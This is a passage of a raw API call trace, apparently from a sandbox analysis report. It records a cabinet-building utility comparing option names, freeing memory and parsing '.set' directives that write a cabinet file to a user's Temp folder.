_strcmpi (_Str1="InfFileHeader", _Str2="InfFileHeader1") returned -49 [0102.052] _strcmpi (_Str1="InfFileLineFormat", _Str2="InfFileHeader1") returned 4 [0102.052] _strcmpi (_Str1="InfFileName", _Str2="InfFileHeader1") returned 6 [0102.052] _strcmpi (_Str1="InfFooter", _Str2="InfFileHeader1") returned 6 [0102.052] _strcmpi (_Str1="InfFooter1", _Str2="InfFileHeader1") returned 6 [0102.052] _strcmpi (_Str1="InfFooter2", _Str2="InfFileHeader1") returned 6 [0102.053] _strcmpi (_Str1="InfFooter3", _Str2="InfFileHeader1") returned 6 [0102.053] _strcmpi (_Str1="InfFooter4", _Str2="InfFileHeader1") returned 6 [0102.053] _strcmpi (_Str1="InfHeader", _Str2="InfFileHeader1") returned 2 [0102.053] _strcmpi (_Str1="InfHeader1", _Str2="InfFileHeader1") returned 2 [0102.053] _strcmpi (_Str1="InfHeader2", _Str2="InfFileHeader1") returned 2 [0102.053] _strcmpi (_Str1="InfHeader3", _Str2="InfFileHeader1") returned 2 [0102.053] _strcmpi (_Str1="InfHeader4", _Str2="InfFileHeader1") returned 2 [0102.053] _strcmpi (_Str1="InfHeader5", _Str2="InfFileHeader1") returned 2 [0102.053] _strcmpi (_Str1="InfHeader6", _Str2="InfFileHeader1") returned 2 [0102.053] _strcmpi (_Str1="InfSectionOrder", _Str2="InfFileHeader1") returned 13 [0102.053] _strcmpi (_Str1="MaxCabinetSize", _Str2="InfFileHeader1") returned 4 [0102.053] _strcmpi (_Str1="MaxDiskFileCount", _Str2="InfFileHeader1") returned 4 [0102.053] _strcmpi (_Str1="MaxDiskSize", _Str2="InfFileHeader1") returned 4 [0102.053] _strcmpi (_Str1="MaxErrors", _Str2="InfFileHeader1") returned 4 [0102.053] _strcmpi (_Str1="ReservePerCabinetSize", _Str2="InfFileHeader1") returned 9 [0102.053] _strcmpi (_Str1="ReservePerDataBlockSize", _Str2="InfFileHeader1") returned 9 [0102.053] _strcmpi (_Str1="ReservePerFolderSize", _Str2="InfFileHeader1") returned 9 [0102.053] _strcmpi (_Str1="RptFileName", _Str2="InfFileHeader1") returned 9 [0102.053] _strcmpi (_Str1="SourceDir", _Str2="InfFileHeader1") returned 10 [0102.053] _strcmpi (_Str1="UniqueFiles", _Str2="InfFileHeader1") returned 12 [0102.053] _strcmpi (_Str1="DiskDirectory1", _Str2="InfFileHeader1") returned -5 [0102.053] _strcmpi (_Str1="CabinetName1", _Str2="InfFileHeader1") returned -6 [0102.053] _vsnprintf (in: _DstBuf=0x1ff1b0, _MaxCount=0x1ff, _Format="%s", _ArgList=0x1ff108 | out: _DstBuf="InfFileHeader1") returned 14 [0102.053] _vsnprintf (in: _DstBuf=0x1ff2c0, _MaxCount=0x1ff, _Format="%ld", _ArgList=0x1ff218 | out: _DstBuf="98") returned 2 [0102.053] strspn (_Str="98", _Control=" ") returned 0x0 [0102.053] strpbrk (_Str="98", _Control=" ") returned 0x0 [0102.053] _vsnprintf (in: _DstBuf=0x1ff2c4, _MaxCount=0x1fb, _Format="%ld", _ArgList=0x1ff218 | out: _DstBuf="1") returned 1 [0102.053] strspn (_Str="1", _Control=" ") returned 0x0 [0102.053] strpbrk (_Str="1", _Control=" ") returned 0x0 [0102.053] printf (_Format="%s%s\n") returned 76 [0102.079] printf (_Format="%s%s\r") returned 21 [0102.092] free (_Block=0x326bc0) [0102.092] free (_Block=0x326be0) [0102.092] free (_Block=0x326b80) [0102.092] free (_Block=0x326c40) [0102.092] free (_Block=0x326c70) [0102.092] free (_Block=0x326c00) [0102.092] free (_Block=0x326cd0) [0102.092] free (_Block=0x326cf0) [0102.092] free (_Block=0x326c90) [0102.092] free (_Block=0x326d50) [0102.092] free (_Block=0x326d70) [0102.092] free (_Block=0x326d10) [0102.092] free (_Block=0x326dd0) [0102.092] free (_Block=0x326df0) [0102.092] free (_Block=0x326d90) [0102.092] free (_Block=0x326e50) [0102.092] free (_Block=0x326e70) [0102.092] free (_Block=0x326e10) [0102.092] free (_Block=0x326ed0) [0102.092] free (_Block=0x326f00) [0102.092] free (_Block=0x326e90) [0102.092] free (_Block=0x326f60) [0102.092] free (_Block=0x326f80) [0102.092] free (_Block=0x326f20) [0102.092] free (_Block=0x326fa0) [0102.092] free (_Block=0x3255d0) [0102.092] free (_Block=0x325590) [0102.092] free (_Block=0x325630) [0102.093] free (_Block=0x325650) [0102.093] free (_Block=0x3255f0) [0102.093] free (_Block=0x3256b0) [0102.093] free (_Block=0x327050) [0102.093] free (_Block=0x325670) [0102.093] free (_Block=0x325730) [0102.093] free (_Block=0x325750) [0102.093] free (_Block=0x3256f0) [0102.093] free (_Block=0x3257b0) [0102.093] free (_Block=0x3257d0) [0102.093] free (_Block=0x325770) [0102.093] free (_Block=0x325830) [0102.093] free (_Block=0x325850) [0102.093] free (_Block=0x3257f0) [0102.093] free (_Block=0x3258b0) [0102.093] free (_Block=0x3258e0) [0102.093] free (_Block=0x325870) [0102.093] free (_Block=0x325940) [0102.093] free (_Block=0x325960) [0102.093] free (_Block=0x325900) [0102.093] free (_Block=0x3259c0) [0102.093] free (_Block=0x327000) [0102.093] free (_Block=0x325980) [0102.093] free (_Block=0x3259e0) [0102.093] free (_Block=0x325a00) [0102.093] free (_Block=0x327800) [0102.093] free (_Block=0x325a20) [0102.093] free (_Block=0x325a40) [0102.093] free (_Block=0x327840) [0102.093] free (_Block=0x328800) [0102.093] free (_Block=0x327010) [0102.093] free (_Block=0x327880) [0102.093] free (_Block=0x328820) [0102.093] free (_Block=0x328840) [0102.093] free (_Block=0x3278c0) [0102.094] free (_Block=0x328860) [0102.094] free (_Block=0x328880) [0102.094] free (_Block=0x327900) [0102.094] free (_Block=0x3288a0) [0102.094] free (_Block=0x3288c0) [0102.094] free (_Block=0x327940) [0102.094] free (_Block=0x3288e0) [0102.094] free (_Block=0x328900) [0102.094] free (_Block=0x327980) [0102.094] free (_Block=0x328920) [0102.094] free (_Block=0x325a70) [0102.094] free (_Block=0x3279c0) [0102.094] free (_Block=0x328940) [0102.094] free (_Block=0x328960) [0102.094] free (_Block=0x327a00) [0102.094] free (_Block=0x328980) [0102.094] free (_Block=0x328fd0) [0102.094] free (_Block=0x327a40) [0102.094] free (_Block=0x3289a0) [0102.094] free (_Block=0x329020) [0102.094] free (_Block=0x327a80) [0102.094] free (_Block=0x3289c0) [0102.094] free (_Block=0x327b00) [0102.094] free (_Block=0x327ac0) [0102.094] free (_Block=0x3289e0) [0102.094] free (_Block=0x329070) [0102.094] free (_Block=0x327b40) [0102.094] free (_Block=0x328a00) [0102.094] free (_Block=0x3290c0) [0102.094] free (_Block=0x327b80) [0102.094] free (_Block=0x328a20) [0102.094] free (_Block=0x329110) [0102.094] free (_Block=0x327bc0) [0102.094] free (_Block=0x328a40) [0102.094] free (_Block=0x329160) [0102.094] free (_Block=0x327c00) [0102.094] free (_Block=0x328a60) [0102.094] free (_Block=0x327c80) [0102.094] free (_Block=0x327c40) [0102.094] free (_Block=0x328a80) [0102.094] free (_Block=0x3291b0) [0102.094] free (_Block=0x327cc0) [0102.094] free (_Block=0x328aa0) [0102.094] free (_Block=0x329200) [0102.095] free (_Block=0x327d00) [0102.095] free (_Block=0x328ac0) [0102.095] free (_Block=0x329250) [0102.095] free (_Block=0x327d40) [0102.095] free (_Block=0x328ae0) [0102.095] free (_Block=0x3292a0) [0102.095] free (_Block=0x327d80) [0102.095] free (_Block=0x328b00) [0102.095] free (_Block=0x327020) [0102.095] free (_Block=0x327dc0) [0102.095] free (_Block=0x328b20) [0102.095] free (_Block=0x327030) [0102.095] free (_Block=0x327e00) [0102.095] free (_Block=0x328b40) [0102.095] free (_Block=0x327040) [0102.095] free (_Block=0x327e40) [0102.095] free (_Block=0x328b60) [0102.095] free (_Block=0x327290) [0102.095] free (_Block=0x327e80) [0102.095] free (_Block=0x328b80) [0102.095] free (_Block=0x327060) [0102.095] free (_Block=0x327ec0) [0102.095] free (_Block=0x328ba0) [0102.095] free (_Block=0x327070) [0102.095] free (_Block=0x327f00) [0102.095] free (_Block=0x328bc0) [0102.095] free (_Block=0x327080) [0102.095] free (_Block=0x327f40) [0102.095] free (_Block=0x328be0) [0102.095] free (_Block=0x327090) [0102.095] free (_Block=0x327f80) [0102.095] free (_Block=0x328c00) [0102.095] free (_Block=0x328c20) [0102.095] free (_Block=0x327fc0) [0102.095] free (_Block=0x328c40) [0102.095] free (_Block=0x3270a0) [0102.095] free (_Block=0x328000) [0102.095] free (_Block=0x328c60) [0102.095] free (_Block=0x3270b0) [0102.095] free (_Block=0x328040) [0102.095] free (_Block=0x329760) [0102.095] free (_Block=0x32d290) [0102.095] free (_Block=0x32a2b0) [0102.095] free (_Block=0x329780) [0102.095] free (_Block=0x3297a0) [0102.095] free (_Block=0x32a2f0) [0102.095] free (_Block=0x20dfa0) [0102.096] _open (_FileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1FB1.bin" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\1fb1.bin"), _OpenFlag=32768) returned 6 [0102.096] malloc (_Size=0x438) returned 0x326b80 [0102.096] malloc (_Size=0x1000) returned 0x20dfa0 [0102.096] _read (in: _FileHandle=6, _DstBuf=0x1ff570, _MaxCharCount=0x3 | out: _DstBuf=0x1ff570*) returned 3 [0102.097] _lseek (_FileHandle=6, _Offset=0, _Origin=0) returned 0 [0102.097] _read (in: _FileHandle=6, _DstBuf=0x20dfa0, _MaxCharCount=0x1000 | out: _DstBuf=0x20dfa0*) returned 156 [0102.097] strpbrk (_Str=".set MaxDiskSize=0", _Control=" \x09") returned=" MaxDiskSize=0" [0102.097] strspn (_Str=" MaxDiskSize=0", _Control=" \x09") returned 0x1 [0102.097] strpbrk (_Str="MaxDiskSize=0", _Control=" \x09") returned 0x0 [0102.097] strspn (_Str=".set MaxDiskSize=0", _Control=" \x09") returned 0x0 [0102.097] strspn (_Str=".set MaxDiskSize=0", _Control=" \x09") returned 0x0 [0102.097] strpbrk (_Str="set MaxDiskSize=0", _Control=" \x09") returned=" MaxDiskSize=0" [0102.097] _strcmpi (_Str1="Define", _Str2="set") returned -15 [0102.097] _strcmpi (_Str1="Delete", _Str2="set") returned -15 [0102.097] _strcmpi (_Str1="Dump", _Str2="set") returned -15 [0102.097] _strcmpi (_Str1="InfBegin", _Str2="set") returned -10 [0102.097] _strcmpi (_Str1="InfEnd", _Str2="set") returned -10 [0102.097] _strcmpi (_Str1="InfWrite", _Str2="set") returned -10 [0102.097] _strcmpi (_Str1="InfWriteCabinet", _Str2="set") returned -10 [0102.097] _strcmpi (_Str1="InfWriteDisk", _Str2="set") returned -10 [0102.097] _strcmpi (_Str1="New", _Str2="set") returned -5 [0102.097] _strcmpi (_Str1="Option", _Str2="set") returned -4 [0102.097] _strcmpi (_Str1="Set", _Str2="set") returned 0 [0102.097] strspn (_Str=" MaxDiskSize=0", _Control=" \x09") returned 0x1 [0102.097] strpbrk (_Str="MaxDiskSize=0", _Control="= \x09") returned="=0" [0102.097] strspn (_Str="=0", _Control=" \x09") returned 0x0 [0102.097] strspn (_Str="0", _Control=" \x09") returned 0x0 [0102.097] strpbrk (_Str="0", _Control=" \x09") returned 0x0 [0102.097] strspn (_Str="", _Control=" \x09") returned 0x0 [0102.097] _strcmpi (_Str1="0", _Str2="360K") returned -3 [0102.097] atol (_Str="362496") returned 362496 [0102.097] atol (_Str="0") returned 0 [0102.097] _strcmpi (_Str1="0", _Str2="720K") returned -7 [0102.097] atol (_Str="730112") returned 730112 [0102.098] atol (_Str="0") returned 0 [0102.098] _strcmpi (_Str1="0", _Str2="1.2M") returned -1 [0102.098] atol (_Str="1213952") returned 1213952 [0102.098] atol (_Str="0") returned 0 [0102.098] _strcmpi (_Str1="0", _Str2="1.25M") returned -1 [0102.098] atol (_Str="1250304") returned 1250304 [0102.098] atol (_Str="0") returned 0 [0102.098] _strcmpi (_Str1="0", _Str2="1.44M") returned -1 [0102.098] atol (_Str="1457664") returned 1457664 [0102.098] atol (_Str="0") returned 0 [0102.098] _strcmpi (_Str1="0", _Str2="1.68M") returned -1 [0102.098] atol (_Str="1716224") returned 1716224 [0102.098] atol (_Str="0") returned 0 [0102.098] _strcmpi (_Str1="0", _Str2="DMF168") returned -52 [0102.098] atol (_Str="1716224") returned 1716224 [0102.098] atol (_Str="0") returned 0 [0102.098] _strcmpi (_Str1="0", _Str2="CDROM") returned -51 [0102.098] atol (_Str="681984000") returned 681984000 [0102.098] atol (_Str="0") returned 0 [0102.098] _strcmpi (_Str1="Cabinet", _Str2="MaxDiskSize") returned -10 [0102.098] _strcmpi (_Str1="CabinetFileCountThreshold", _Str2="MaxDiskSize") returned -10 [0102.098] _strcmpi (_Str1="CabinetNameTemplate", _Str2="MaxDiskSize") returned -10 [0102.098] _strcmpi (_Str1="ChecksumWidth", _Str2="MaxDiskSize") returned -10 [0102.098] _strcmpi (_Str1="ClusterSize", _Str2="MaxDiskSize") returned -10 [0102.098] _strcmpi (_Str1="Compress", _Str2="MaxDiskSize") returned -10 [0102.098] _strcmpi (_Str1="CompressedFileExtensionChar", _Str2="MaxDiskSize") returned -10 [0102.098] _strcmpi (_Str1="CompressionType", _Str2="MaxDiskSize") returned -10 [0102.098] _strcmpi (_Str1="CompressionLevel", _Str2="MaxDiskSize") returned -10 [0102.098] _strcmpi (_Str1="CompressionMemory", _Str2="MaxDiskSize") returned -10 [0102.098] _strcmpi (_Str1="DestinationDir", _Str2="MaxDiskSize") returned -9 [0102.098] _strcmpi (_Str1="DiskDirectoryTemplate", _Str2="MaxDiskSize") returned -9 [0102.098] _strcmpi (_Str1="DiskLabelTemplate", _Str2="MaxDiskSize") returned -9 [0102.098] _strcmpi (_Str1="DoNotCopyFiles", _Str2="MaxDiskSize") returned -9 [0102.098] _strcmpi (_Str1="FolderFileCountThreshold", _Str2="MaxDiskSize") returned -7 [0102.098] _strcmpi (_Str1="FolderSizeThreshold", _Str2="MaxDiskSize") returned -7 [0102.098] _strcmpi (_Str1="GenerateInf", _Str2="MaxDiskSize") returned -6 [0102.098] _strcmpi (_Str1="InfCabinetHeader", _Str2="MaxDiskSize") returned -4 [0102.098] _strcmpi (_Str1="InfCabinetLineFormat", _Str2="MaxDiskSize") returned -4 [0102.098] _strcmpi (_Str1="InfCommentString", _Str2="MaxDiskSize") returned -4 [0102.099] _strcmpi (_Str1="InfDateFormat", _Str2="MaxDiskSize") returned -4 [0102.099] _strcmpi (_Str1="InfDiskHeader", _Str2="MaxDiskSize") returned -4 [0102.099] _strcmpi (_Str1="InfDiskLineFormat", _Str2="MaxDiskSize") returned -4 [0102.099] _strcmpi (_Str1="InfFileHeader", _Str2="MaxDiskSize") returned -4 [0102.099] _strcmpi (_Str1="InfFileLineFormat", _Str2="MaxDiskSize") returned -4 [0102.099] _strcmpi (_Str1="InfFileName", _Str2="MaxDiskSize") returned -4 [0102.099] _strcmpi (_Str1="InfFooter", _Str2="MaxDiskSize") returned -4 [0102.099] _strcmpi (_Str1="InfFooter1", _Str2="MaxDiskSize") returned -4 [0102.099] _strcmpi (_Str1="InfFooter2", _Str2="MaxDiskSize") returned -4 [0102.099] _strcmpi (_Str1="InfFooter3", _Str2="MaxDiskSize") returned -4 [0102.099] _strcmpi (_Str1="InfFooter4", _Str2="MaxDiskSize") returned -4 [0102.099] _strcmpi (_Str1="InfHeader", _Str2="MaxDiskSize") returned -4 [0102.099] _strcmpi (_Str1="InfHeader1", _Str2="MaxDiskSize") returned -4 [0102.099] _strcmpi (_Str1="InfHeader2", _Str2="MaxDiskSize") returned -4 [0102.099] _strcmpi (_Str1="InfHeader3", _Str2="MaxDiskSize") returned -4 [0102.099] _strcmpi (_Str1="InfHeader4", _Str2="MaxDiskSize") returned -4 [0102.099] _strcmpi (_Str1="InfHeader5", _Str2="MaxDiskSize") returned -4 [0102.099] _strcmpi (_Str1="InfHeader6", _Str2="MaxDiskSize") returned -4 [0102.099] _strcmpi (_Str1="InfSectionOrder", _Str2="MaxDiskSize") returned -4 [0102.099] _strcmpi (_Str1="MaxCabinetSize", _Str2="MaxDiskSize") returned -1 [0102.099] _strcmpi (_Str1="MaxDiskFileCount", _Str2="MaxDiskSize") returned -13 [0102.099] _strcmpi (_Str1="MaxDiskSize", _Str2="MaxDiskSize") returned 0 [0102.099] _strcmpi (_Str1="0", _Str2="360K") returned -3 [0102.099] atol (_Str="362496") returned 362496 [0102.099] atol (_Str="0") returned 0 [0102.099] _strcmpi (_Str1="0", _Str2="720K") returned -7 [0102.099] atol (_Str="730112") returned 730112 [0102.099] atol (_Str="0") returned 0 [0102.099] _strcmpi (_Str1="0", _Str2="1.2M") returned -1 [0102.099] atol (_Str="1213952") returned 1213952 [0102.099] atol (_Str="0") returned 0 [0102.099] _strcmpi (_Str1="0", _Str2="1.25M") returned -1 [0102.099] atol (_Str="1250304") returned 1250304 [0102.099] atol (_Str="0") returned 0 [0102.099] _strcmpi (_Str1="0", _Str2="1.44M") returned -1 [0102.099] atol (_Str="1457664") returned 1457664 [0102.099] atol (_Str="0") returned 0 [0102.099] _strcmpi (_Str1="0", _Str2="1.68M") returned -1 [0102.100] atol (_Str="1716224") returned 1716224 [0102.100] atol (_Str="0") returned 0 [0102.100] _strcmpi (_Str1="0", _Str2="DMF168") returned -52 [0102.100] atol (_Str="1716224") returned 1716224 [0102.100] atol (_Str="0") returned 0 [0102.100] _strcmpi (_Str1="0", _Str2="CDROM") returned -51 [0102.100] atol (_Str="681984000") returned 681984000 [0102.100] atol (_Str="0") returned 0 [0102.100] free (_Block=0x327220) [0102.100] _strcmpi (_Str1="MaxDiskSize", _Str2="MaxDiskSize") returned 0 [0102.100] _strcmpi (_Str1="0", _Str2="360K") returned -3 [0102.100] atol (_Str="362496") returned 362496 [0102.100] atol (_Str="0") returned 0 [0102.100] _strcmpi (_Str1="0", _Str2="720K") returned -7 [0102.100] atol (_Str="730112") returned 730112 [0102.100] atol (_Str="0") returned 0 [0102.100] _strcmpi (_Str1="0", _Str2="1.2M") returned -1 [0102.100] atol (_Str="1213952") returned 1213952 [0102.100] atol (_Str="0") returned 0 [0102.100] _strcmpi (_Str1="0", _Str2="1.25M") returned -1 [0102.100] atol (_Str="1250304") returned 1250304 [0102.100] atol (_Str="0") returned 0 [0102.100] _strcmpi (_Str1="0", _Str2="1.44M") returned -1 [0102.100] atol (_Str="1457664") returned 1457664 [0102.100] atol (_Str="0") returned 0 [0102.100] _strcmpi (_Str1="0", _Str2="1.68M") returned -1 [0102.100] atol (_Str="1716224") returned 1716224 [0102.100] atol (_Str="0") returned 0 [0102.100] _strcmpi (_Str1="0", _Str2="DMF168") returned -52 [0102.100] atol (_Str="1716224") returned 1716224 [0102.100] atol (_Str="0") returned 0 [0102.100] _strcmpi (_Str1="0", _Str2="CDROM") returned -51 [0102.100] atol (_Str="681984000") returned 681984000 [0102.100] atol (_Str="0") returned 0 [0102.100] strpbrk (_Str=".set DiskDirectory1=\"C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\"", _Control=" \x09") returned=" DiskDirectory1=\"C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\"" [0102.100] strspn (_Str=" DiskDirectory1=\"C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\"", _Control=" \x09") returned 0x1 [0102.100] strpbrk (_Str="DiskDirectory1=\"C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\"", _Control=" \x09") returned 0x0 [0102.100] strspn (_Str=".set DiskDirectory1=\"C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\"", _Control=" \x09") returned 0x0 [0102.100] strspn (_Str=".set DiskDirectory1=\"C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\"", _Control=" \x09") returned 0x0 [0102.101] strpbrk (_Str="set DiskDirectory1=\"C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\"", _Control=" \x09") returned=" DiskDirectory1=\"C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\"" [0102.101] _strcmpi (_Str1="Define", _Str2="set") returned -15 [0102.101] _strcmpi (_Str1="Delete", _Str2="set") returned -15 [0102.101] _strcmpi (_Str1="Dump", _Str2="set") returned -15 [0102.101] _strcmpi (_Str1="InfBegin", _Str2="set") returned -10 [0102.101] _strcmpi (_Str1="InfEnd", _Str2="set") returned -10 [0102.101] _strcmpi (_Str1="InfWrite", _Str2="set") returned -10 [0102.101] _strcmpi (_Str1="InfWriteCabinet", _Str2="set") returned -10 [0102.101] _strcmpi (_Str1="InfWriteDisk", _Str2="set") returned -10 [0102.101] _strcmpi (_Str1="New", _Str2="set") returned -5 [0102.101] _strcmpi (_Str1="Option", _Str2="set") returned -4 [0102.101] _strcmpi (_Str1="Set", _Str2="set") returned 0 [0102.101] strspn (_Str=" DiskDirectory1=\"C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\"", _Control=" \x09") returned 0x1 [0102.101] strpbrk (_Str="DiskDirectory1=\"C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\"", _Control="= \x09") returned="=\"C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\"" [0102.101] strspn (_Str="=\"C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\"", _Control=" \x09") returned 0x0 [0102.101] strspn (_Str="\"C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\"", _Control=" \x09") returned 0x0 [0102.101] strspn (_Str="", _Control=" \x09") returned 0x0 [0102.101] _strcmpi (_Str1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp", _Str2="360K") returned 48 [0102.101] atol (_Str="362496") returned 362496 [0102.101] atol (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp") returned 0 [0102.101] _strcmpi (_Str1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp", _Str2="720K") returned 44 [0102.101] atol (_Str="730112") returned 730112 [0102.101] atol (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp") returned 0 [0102.101] _strcmpi (_Str1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp", _Str2="1.2M") returned 50 [0102.101] atol (_Str="1213952") returned 1213952 [0102.101] atol (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp") returned 0 [0102.101] _strcmpi (_Str1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp", _Str2="1.25M") returned 50 [0102.101] atol (_Str="1250304") returned 1250304 [0102.101] atol (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp") returned 0 [0102.101] _strcmpi (_Str1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp", _Str2="1.44M") returned 50 [0102.101] atol (_Str="1457664") returned 1457664 [0102.101] atol (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp") returned 0 [0102.101] _strcmpi (_Str1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp", _Str2="1.68M") returned 50 [0102.101] atol (_Str="1716224") returned 1716224 [0102.101] atol (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp") returned 0 [0102.101] _strcmpi (_Str1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp", _Str2="DMF168") returned -1 [0102.102] atol (_Str="1716224") returned 1716224 [0102.102] atol (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp") returned 0 [0102.102] _strcmpi (_Str1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp", _Str2="CDROM") returned -42 [0102.102] atol (_Str="681984000") returned 681984000 [0102.102] atol (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp") returned 0 [0102.102] _strcmpi (_Str1="Cabinet", _Str2="DiskDirectory1") returned -1 [0102.102] _strcmpi (_Str1="CabinetFileCountThreshold", _Str2="DiskDirectory1") returned -1 [0102.102] _strcmpi (_Str1="CabinetNameTemplate", _Str2="DiskDirectory1") returned -1 [0102.102] _strcmpi (_Str1="ChecksumWidth", _Str2="DiskDirectory1") returned -1 [0102.102] _strcmpi (_Str1="ClusterSize", _Str2="DiskDirectory1") returned -1 [0102.102] _strcmpi (_Str1="Compress", _Str2="DiskDirectory1") returned -1 [0102.102] _strcmpi (_Str1="CompressedFileExtensionChar", _Str2="DiskDirectory1") returned -1 [0102.102] _strcmpi (_Str1="CompressionType", _Str2="DiskDirectory1") returned -1 [0102.102] _strcmpi (_Str1="CompressionLevel", _Str2="DiskDirectory1") returned -1 [0102.102] _strcmpi (_Str1="CompressionMemory", _Str2="DiskDirectory1") returned -1 [0102.102] _strcmpi (_Str1="DestinationDir", _Str2="DiskDirectory1") returned -4 [0102.102] _strcmpi (_Str1="DiskDirectoryTemplate", _Str2="DiskDirectory1") returned 67 [0102.102] _strcmpi (_Str1="DiskLabelTemplate", _Str2="DiskDirectory1") returned 8 [0102.102] _strcmpi (_Str1="DoNotCopyFiles", _Str2="DiskDirectory1") returned 6 [0102.102] _strcmpi (_Str1="FolderFileCountThreshold", _Str2="DiskDirectory1") returned 2 [0102.102] _strcmpi (_Str1="FolderSizeThreshold", _Str2="DiskDirectory1") returned 2 [0102.102] _strcmpi (_Str1="GenerateInf", _Str2="DiskDirectory1") returned 3 [0102.102] _strcmpi (_Str1="InfCabinetHeader", _Str2="DiskDirectory1") returned 5 [0102.102] _strcmpi (_Str1="InfCabinetLineFormat", _Str2="DiskDirectory1") returned 5 [0102.102] _strcmpi (_Str1="InfCommentString", _Str2="DiskDirectory1") returned 5 [0102.102] _strcmpi (_Str1="InfDateFormat", _Str2="DiskDirectory1") returned 5 [0102.102] _strcmpi (_Str1="InfDiskHeader", _Str2="DiskDirectory1") returned 5 [0102.102] _strcmpi (_Str1="InfDiskLineFormat", _Str2="DiskDirectory1") returned 5 [0102.102] _strcmpi (_Str1="InfFileHeader", _Str2="DiskDirectory1") returned 5 [0102.102] _strcmpi (_Str1="InfFileLineFormat", _Str2="DiskDirectory1") returned 5 [0102.102] _strcmpi (_Str1="InfFileName", _Str2="DiskDirectory1") returned 5 [0102.102] _strcmpi (_Str1="InfFooter", _Str2="DiskDirectory1") returned 5 [0102.102] _strcmpi (_Str1="InfFooter1", _Str2="DiskDirectory1") returned 5 [0102.102] _strcmpi (_Str1="InfFooter2", _Str2="DiskDirectory1") returned 5 [0102.102] _strcmpi (_Str1="InfFooter3", _Str2="DiskDirectory1") returned 5 [0102.102] _strcmpi (_Str1="InfFooter4", _Str2="DiskDirectory1") returned 5 [0102.102] _strcmpi (_Str1="InfHeader", _Str2="DiskDirectory1") returned 5 [0102.102] _strcmpi (_Str1="InfHeader1", _Str2="DiskDirectory1") returned 5 [0102.102] _strcmpi (_Str1="InfHeader2", _Str2="DiskDirectory1") returned 5 [0102.102] _strcmpi (_Str1="InfHeader3", _Str2="DiskDirectory1") returned 5 [0102.103] _strcmpi (_Str1="InfHeader4", _Str2="DiskDirectory1") returned 5 [0102.103] _strcmpi (_Str1="InfHeader5", _Str2="DiskDirectory1") returned 5 [0102.103] _strcmpi (_Str1="InfHeader6", _Str2="DiskDirectory1") returned 5 [0102.103] _strcmpi (_Str1="InfSectionOrder", _Str2="DiskDirectory1") returned 5 [0102.103] _strcmpi (_Str1="MaxCabinetSize", _Str2="DiskDirectory1") returned 9 [0102.103] _strcmpi (_Str1="MaxDiskFileCount", _Str2="DiskDirectory1") returned 9 [0102.103] _strcmpi (_Str1="MaxDiskSize", _Str2="DiskDirectory1") returned 9 [0102.103] _strcmpi (_Str1="MaxErrors", _Str2="DiskDirectory1") returned 9 [0102.103] _strcmpi (_Str1="ReservePerCabinetSize", _Str2="DiskDirectory1") returned 14 [0102.103] _strcmpi (_Str1="ReservePerDataBlockSize", _Str2="DiskDirectory1") returned 14 [0102.103] _strcmpi (_Str1="ReservePerFolderSize", _Str2="DiskDirectory1") returned 14 [0102.103] _strcmpi (_Str1="RptFileName", _Str2="DiskDirectory1") returned 14 [0102.103] _strcmpi (_Str1="SourceDir", _Str2="DiskDirectory1") returned 15 [0102.103] _strcmpi (_Str1="UniqueFiles", _Str2="DiskDirectory1") returned 17 [0102.103] _vsnprintf (in: _DstBuf=0x1fe6a0, _MaxCount=0x1ff, _Format="%s", _ArgList=0x1fe5f8 | out: _DstBuf="DiskDirectory1") returned 14 [0102.103] _vsnprintf (in: _DstBuf=0x1fe430, _MaxCount=0x1ff, _Format="%s", _ArgList=0x1fe388 | out: _DstBuf="DiskDirectory1") returned 14 [0102.103] free (_Block=0x327220) [0102.103] _strcmpi (_Str1="DiskDirectory1", _Str2="MaxDiskSize") returned -9 [0102.103] _strcmpi (_Str1="DiskDirectory1", _Str2="GenerateInf") returned -3 [0102.103] strpbrk (_Str=".set CabinetName1=\"2855.bin\"", _Control=" \x09") returned=" CabinetName1=\"2855.bin\"" [0102.103] strspn (_Str=" CabinetName1=\"2855.bin\"", _Control=" \x09") returned 0x1 [0102.103] strpbrk (_Str="CabinetName1=\"2855.bin\"", _Control=" \x09") returned 0x0 [0102.103] strspn (_Str=".set CabinetName1=\"2855.bin\"", _Control=" \x09") returned 0x0 [0102.103] strspn (_Str=".set CabinetName1=\"2855.bin\"", _Control=" \x09") returned 0x0 [0102.103] strpbrk (_Str="set CabinetName1=\"2855.bin\"", _Control=" \x09") returned=" CabinetName1=\"2855.bin\"" [0102.103] _strcmpi (_Str1="Define", _Str2="set") returned -15 [0102.103] _strcmpi (_Str1="Delete", _Str2="set") returned -15 [0102.103] _strcmpi (_Str1="Dump", _Str2="set") returned -15 [0102.103] _strcmpi (_Str1="InfBegin", _Str2="set") returned -10 [0102.103] _strcmpi (_Str1="InfEnd", _Str2="set") returned -10 [0102.103] _strcmpi (_Str1="InfWrite", _Str2="set") returned -10 [0102.103] _strcmpi (_Str1="InfWriteCabinet", _Str2="set") returned -10 [0102.103] _strcmpi (_Str1="InfWriteDisk", _Str2="set") returned -10 [0102.103] 